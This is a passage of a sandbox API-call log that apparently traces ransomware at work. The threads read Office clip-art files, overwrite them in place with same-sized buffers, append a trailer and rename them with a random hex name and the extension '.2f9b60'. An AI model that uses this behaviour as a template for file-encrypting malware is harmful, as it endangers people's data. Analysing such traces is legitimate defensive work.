DestinationString=0x23d0f8f8, SourceString="de9c8b08928903d40822de5b415fdf44336038e1f1d53978", AllocateDestinationString=1 | out: DestinationString="de9c8b08928903d40822de5b415fdf44336038e1f1d53978") returned 0x0 [0207.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430e88e0 [0207.163] wcscat (in: _Dest=0x431c71c0, _Source="de9c8b089289" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\de9c8b089289") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\de9c8b089289" [0207.163] wcscat (in: _Dest=0x431c71c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\de9c8b089289.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\de9c8b089289.2f9b60" [0207.163] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\de9c8b089289.2f9b60", NtPathName=0x23d0f8d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\de9c8b089289.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x43129020 Thread: id = 2332 os_tid = 0x1cd4 [0149.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf")) returned 0x20 [0149.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF", dwFileAttributes=0x20) returned 1 [0149.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f40 [0149.457] GetFileSizeEx (in: hFile=0x1f40, lpFileSize=0x238dfa60 | out: lpFileSize=0x238dfa60*=14820) returned 1 [0149.457] SetFilePointerEx (in: hFile=0x1f40, liDistanceToMove=0x39e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.457] ReadFile (in: hFile=0x1f40, lpBuffer=0x238df9e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x238dfa28, lpOverlapped=0x0 | out: lpBuffer=0x238df9e0*, lpNumberOfBytesRead=0x238dfa28*=0x4, lpOverlapped=0x0) returned 1 [0149.472] SetFilePointerEx (in: hFile=0x1f40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f520 [0149.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eef0 [0149.473] NtQuerySystemTime (in: CurrentTime=0x238df920 | out: CurrentTime=0x238df920*=132462177546814000) returned 0x0 [0149.473] RtlRandomEx (in: Seed=0x238df910 | out: Seed=0x238df910) returned 0x3891730e [0149.473] RtlRandomEx (in: Seed=0x238df910 | out: Seed=0x238df910) returned 0x7ae44c60 [0149.473] RtlRandomEx (in: Seed=0x238df910 | out: Seed=0x238df910) returned 0x42d9a993 [0149.473] RtlRandomEx (in: Seed=0x238df910 | out: Seed=0x238df910) returned 0x6e4052f7 [0149.473] RtlRandomEx (in: Seed=0x238df910 | out: Seed=0x238df910) returned 0x77138582 [0149.473] RtlRandomEx (in: Seed=0x238df910 | out: Seed=0x238df910) returned 0x49afce01 [0149.473] RtlRandomEx (in: Seed=0x238df910 | out: Seed=0x238df910) returned 0x2ec77516 [0149.473] RtlRandomEx (in: Seed=0x238df910 | out: Seed=0x238df910) returned 0x3eac26e0 [0149.473] RtlRandomEx (in: Seed=0x238df910 | out: Seed=0x238df910) returned 0x11608f4e [0149.473] RtlRandomEx (in: Seed=0x238df910 | out: Seed=0x238df910) returned 0xbd38339 [0149.473] RtlRandomEx (in: Seed=0x238df910 | out: Seed=0x238df910) returned 0x4e0764b2 [0149.473] RtlRandomEx (in: Seed=0x238df910 | out: Seed=0x238df910) returned 0x311e9f61 [0149.473] RtlRandomEx (in: Seed=0x238df910 | out: Seed=0x238df910) returned 0x1ea2ee8c [0149.473] RtlRandomEx (in: Seed=0x238df910 | out: Seed=0x238df910) returned 0x96905af [0149.473] RtlRandomEx (in: Seed=0x238df910 | out: Seed=0x238df910) returned 0x5b769571 [0149.473] RtlRandomEx (in: Seed=0x238df910 | out: Seed=0x238df910) returned 0x771ca360 [0149.473] RtlRandomEx (in: Seed=0x238df910 | out: Seed=0x238df910) returned 0x3b533a67 [0149.473] RtlRandomEx (in: Seed=0x238df910 | out: Seed=0x238df910) returned 0x10cc4caa [0149.473] RtlRandomEx (in: Seed=0x238df910 | out: Seed=0x238df910) returned 0x4dfbca7d [0149.473] RtlRandomEx (in: Seed=0x238df910 | out: Seed=0x238df910) returned 0x5934ae2a [0149.473] RtlRandomEx (in: Seed=0x238df910 | out: Seed=0x238df910) returned 0x4cb21364 [0149.473] RtlRandomEx (in: Seed=0x238df910 | out: Seed=0x238df910) returned 0x501c5288 [0149.473] RtlRandomEx (in: Seed=0x238df910 | out: Seed=0x238df910) returned 0x7e49886c [0149.473] RtlRandomEx (in: Seed=0x238df910 | out: Seed=0x238df910) returned 0x6929d1e9 [0149.473] RtlRandomEx (in: Seed=0x238df910 | out: Seed=0x238df910) returned 0x68eb358f [0149.474] RtlRandomEx (in: Seed=0x238df910 | out: Seed=0x238df910) returned 0x74d23121 [0149.474] RtlRandomEx (in: Seed=0x238df910 | out: Seed=0x238df910) returned 0x291c223f [0149.474] RtlRandomEx (in: Seed=0x238df910 | out: Seed=0x238df910) returned 0x5bcb390a [0149.474] RtlRandomEx (in: Seed=0x238df910 | out: Seed=0x238df910) returned 0x5a507ab [0149.474] RtlRandomEx (in: Seed=0x238df910 | out: Seed=0x238df910) returned 0x4803efef [0149.474] RtlRandomEx (in: Seed=0x238df910 | out: Seed=0x238df910) returned 0x34708f6d [0149.474] RtlRandomEx (in: Seed=0x238df910 | out: Seed=0x238df910) returned 0x52bce0c [0149.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bfd0 [0149.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59bb0 [0149.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3100 [0149.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59bb0) returned 1 [0149.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050eef0) returned 1 [0149.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0149.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59bb0 [0149.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2022e130 [0149.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20231d40 [0149.503] ReadFile (in: hFile=0x1f40, lpBuffer=0x2022e130, nNumberOfBytesToRead=0x39e4, lpNumberOfBytesRead=0x238df910, lpOverlapped=0x0 | out: lpBuffer=0x2022e130*, lpNumberOfBytesRead=0x238df910*=0x39e4, lpOverlapped=0x0) returned 1 [0149.504] SetFilePointerEx (in: hFile=0x1f40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.504] WriteFile (in: hFile=0x1f40, lpBuffer=0x20231d40*, nNumberOfBytesToWrite=0x39e4, lpNumberOfBytesWritten=0x238df914, lpOverlapped=0x0 | out: lpBuffer=0x20231d40*, lpNumberOfBytesWritten=0x238df914*=0x39e4, lpOverlapped=0x0) returned 1 [0161.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5360 [0161.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5390 [0161.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5390) returned 1 [0161.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20231d40) returned 1 [0161.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2022e130) returned 1 [0161.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59bb0) returned 1 [0161.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0161.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a5390 [0161.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0161.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59bb0 [0161.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a53c0 [0161.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a53c0) returned 1 [0161.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a53c0 [0161.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a53f0 [0161.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5420 [0161.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5420) returned 1 [0161.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59bb0) returned 1 [0161.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0161.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423aba90 [0161.733] SetFilePointerEx (in: hFile=0x1f40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.733] WriteFile (in: hFile=0x1f40, lpBuffer=0x423aba90*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x238dfa30, lpOverlapped=0x0 | out: lpBuffer=0x423aba90*, lpNumberOfBytesWritten=0x238dfa30*=0x10a, lpOverlapped=0x0) returned 1 [0163.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f460 [0163.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f460) returned 1 [0163.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f460 [0163.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f2e0 [0163.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f2e0) returned 1 [0163.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f40 [0163.541] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="b7") returned 2 [0163.541] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="db") returned 2 [0163.541] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="1d") returned 2 [0163.541] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="be") returned 2 [0163.541] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="27") returned 2 [0163.542] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="77") returned 2 [0163.542] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="b1") returned 2 [0163.542] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="50") returned 2 [0163.542] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="28") returned 2 [0163.542] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="ac") returned 2 [0163.542] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="c0") returned 2 [0163.542] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="ab") returned 2 [0163.542] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="11") returned 2 [0163.542] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="82") returned 2 [0163.542] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="bd") returned 2 [0163.542] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="5a") returned 2 [0163.542] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="df") returned 2 [0163.542] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="26") returned 2 [0163.542] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="b5") returned 2 [0163.542] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="80") returned 2 [0163.542] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="58") returned 2 [0163.542] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="26") returned 2 [0163.542] sprintf (in: _Dest=0x1b7d7f6c, _Format="%c%c" | out: _Dest="9a") returned 2 [0163.542] sprintf (in: _Dest=0x1b7d7f6e, _Format="%c%c" | out: _Dest="c9") returned 2 [0163.542] RtlInitAnsiString (in: DestinationString=0x238dfaa8, SourceString="b7db1dbe2777b15028acc0ab1182bd5adf26b58058269ac9" | out: DestinationString="b7db1dbe2777b15028acc0ab1182bd5adf26b58058269ac9") [0163.542] RtlAnsiStringToUnicodeString (in: DestinationString=0x238dfa78, SourceString="b7db1dbe2777b15028acc0ab1182bd5adf26b58058269ac9", AllocateDestinationString=1 | out: DestinationString="b7db1dbe2777b15028acc0ab1182bd5adf26b58058269ac9") returned 0x0 [0163.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b857950 [0163.543] RtlFreeAnsiString (AnsiString="b") [0163.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0163.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f460) returned 1 [0163.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423aba90) returned 1 [0163.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a53c0) returned 1 [0163.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a53f0) returned 1 [0163.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5390) returned 1 [0163.545] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5360) returned 1 [0163.545] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f520) returned 1 [0163.545] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bfd0) returned 1 [0163.545] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3100) returned 1 [0163.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1cdb63d0 [0163.546] wcscat (in: _Dest=0x1cdb63d0, _Source="b7db1dbe2777" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b7db1dbe2777") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b7db1dbe2777" [0163.546] wcscat (in: _Dest=0x1cdb63d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b7db1dbe2777.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b7db1dbe2777.2f9b60" [0163.546] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b7db1dbe2777.2f9b60", NtPathName=0x238dfa50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b7db1dbe2777.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1ce23b20 Thread: id = 2333 os_tid = 0x1cd8 [0149.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf")) returned 0x20 [0149.507] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF", dwFileAttributes=0x20) returned 1 [0149.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f0c [0149.508] GetFileSizeEx (in: hFile=0x1f0c, lpFileSize=0x2331faa0 | out: lpFileSize=0x2331faa0*=3692) returned 1 [0149.508] SetFilePointerEx (in: hFile=0x1f0c, liDistanceToMove=0xe68, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.508] ReadFile (in: hFile=0x1f0c, lpBuffer=0x2331fa20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2331fa68, lpOverlapped=0x0 | out: lpBuffer=0x2331fa20*, lpNumberOfBytesRead=0x2331fa68*=0x4, lpOverlapped=0x0) returned 1 [0149.510] SetFilePointerEx (in: hFile=0x1f0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eef0 [0149.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3130 [0149.511] NtQuerySystemTime (in: CurrentTime=0x2331f960 | out: CurrentTime=0x2331f960*=132462177547282000) returned 0x0 [0149.511] RtlRandomEx (in: Seed=0x2331f950 | out: Seed=0x2331f950) returned 0x35f9c431 [0149.511] RtlRandomEx (in: Seed=0x2331f950 | out: Seed=0x2331f950) returned 0x74fd09e1 [0149.511] RtlRandomEx (in: Seed=0x2331f950 | out: Seed=0x2331f950) returned 0x3b6f10ef [0149.511] RtlRandomEx (in: Seed=0x2331f950 | out: Seed=0x2331f950) returned 0x51a383a7 [0149.511] RtlRandomEx (in: Seed=0x2331f950 | out: Seed=0x2331f950) returned 0x159bd11e [0149.511] RtlRandomEx (in: Seed=0x2331f950 | out: Seed=0x2331f950) returned 0x7ac77f89 [0149.511] RtlRandomEx (in: Seed=0x2331f950 | out: Seed=0x2331f950) returned 0x4635ed79 [0149.511] RtlRandomEx (in: Seed=0x2331f950 | out: Seed=0x2331f950) returned 0x3a2857e1 [0149.511] RtlRandomEx (in: Seed=0x2331f950 | out: Seed=0x2331f950) returned 0x757d9421 [0149.511] RtlRandomEx (in: Seed=0x2331f950 | out: Seed=0x2331f950) returned 0x53a19d66 [0149.512] RtlRandomEx (in: Seed=0x2331f950 | out: Seed=0x2331f950) returned 0x554b96d7 [0149.512] RtlRandomEx (in: Seed=0x2331f950 | out: Seed=0x2331f950) returned 0x5c8b3122 [0149.512] RtlRandomEx (in: Seed=0x2331f950 | out: Seed=0x2331f950) returned 0x76538b53 [0149.512] RtlRandomEx (in: Seed=0x2331f950 | out: Seed=0x2331f950) returned 0x51f33adb [0149.512] RtlRandomEx (in: Seed=0x2331f950 | out: Seed=0x2331f950) returned 0x52c1c0c [0149.512] RtlRandomEx (in: Seed=0x2331f950 | out: Seed=0x2331f950) returned 0x3211b5c0 [0149.512] RtlRandomEx (in: Seed=0x2331f950 | out: Seed=0x2331f950) returned 0x1466af62 [0149.512] RtlRandomEx (in: Seed=0x2331f950 | out: Seed=0x2331f950) returned 0x5510adeb [0149.512] RtlRandomEx (in: Seed=0x2331f950 | out: Seed=0x2331f950) returned 0x7adb9143 [0149.512] RtlRandomEx (in: Seed=0x2331f950 | out: Seed=0x2331f950) returned 0x330e4119 [0149.512] RtlRandomEx (in: Seed=0x2331f950 | out: Seed=0x2331f950) returned 0x1d30fc58 [0149.512] RtlRandomEx (in: Seed=0x2331f950 | out: Seed=0x2331f950) returned 0xb70cb39 [0149.512] RtlRandomEx (in: Seed=0x2331f950 | out: Seed=0x2331f950) returned 0x51cd343e [0149.512] RtlRandomEx (in: Seed=0x2331f950 | out: Seed=0x2331f950) returned 0x1555eeee [0149.512] RtlRandomEx (in: Seed=0x2331f950 | out: Seed=0x2331f950) returned 0x760d6e25 [0149.512] RtlRandomEx (in: Seed=0x2331f950 | out: Seed=0x2331f950) returned 0xf99cc99 [0149.512] RtlRandomEx (in: Seed=0x2331f950 | out: Seed=0x2331f950) returned 0x2b906b79 [0149.512] RtlRandomEx (in: Seed=0x2331f950 | out: Seed=0x2331f950) returned 0x421527e7 [0149.512] RtlRandomEx (in: Seed=0x2331f950 | out: Seed=0x2331f950) returned 0x5df90810 [0149.512] RtlRandomEx (in: Seed=0x2331f950 | out: Seed=0x2331f950) returned 0x157a4b69 [0149.512] RtlRandomEx (in: Seed=0x2331f950 | out: Seed=0x2331f950) returned 0x4a82213b [0149.512] RtlRandomEx (in: Seed=0x2331f950 | out: Seed=0x2331f950) returned 0x24e66a44 [0149.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3160 [0149.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59b30 [0149.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3190 [0149.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59b30) returned 1 [0149.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3130) returned 1 [0149.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0149.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59b30 [0149.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20235950 [0149.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20239560 [0149.523] ReadFile (in: hFile=0x1f0c, lpBuffer=0x20235950, nNumberOfBytesToRead=0xe6c, lpNumberOfBytesRead=0x2331f950, lpOverlapped=0x0 | out: lpBuffer=0x20235950*, lpNumberOfBytesRead=0x2331f950*=0xe6c, lpOverlapped=0x0) returned 1 [0149.524] SetFilePointerEx (in: hFile=0x1f0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.524] WriteFile (in: hFile=0x1f0c, lpBuffer=0x20239560*, nNumberOfBytesToWrite=0xe6c, lpNumberOfBytesWritten=0x2331f954, lpOverlapped=0x0 | out: lpBuffer=0x20239560*, lpNumberOfBytesWritten=0x2331f954*=0xe6c, lpOverlapped=0x0) returned 1 [0161.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5420 [0161.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5450 [0161.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5450) returned 1 [0161.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20239560) returned 1 [0161.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20235950) returned 1 [0161.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59b30) returned 1 [0161.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0161.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a5450 [0161.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0161.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59b30 [0161.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5480 [0161.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5480) returned 1 [0161.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a5480 [0161.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a54b0 [0161.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a54e0 [0161.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a54e0) returned 1 [0161.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59b30) returned 1 [0161.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0161.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423abbb0 [0161.740] SetFilePointerEx (in: hFile=0x1f0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.740] WriteFile (in: hFile=0x1f0c, lpBuffer=0x423abbb0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2331fa70, lpOverlapped=0x0 | out: lpBuffer=0x423abbb0*, lpNumberOfBytesWritten=0x2331fa70*=0x10a, lpOverlapped=0x0) returned 1 [0163.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3100 [0163.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3100) returned 1 [0163.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3100 [0163.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19f50 [0163.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19f50) returned 1 [0163.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.654] RtlAllocateHeap (HeapHandle=0xa0000, 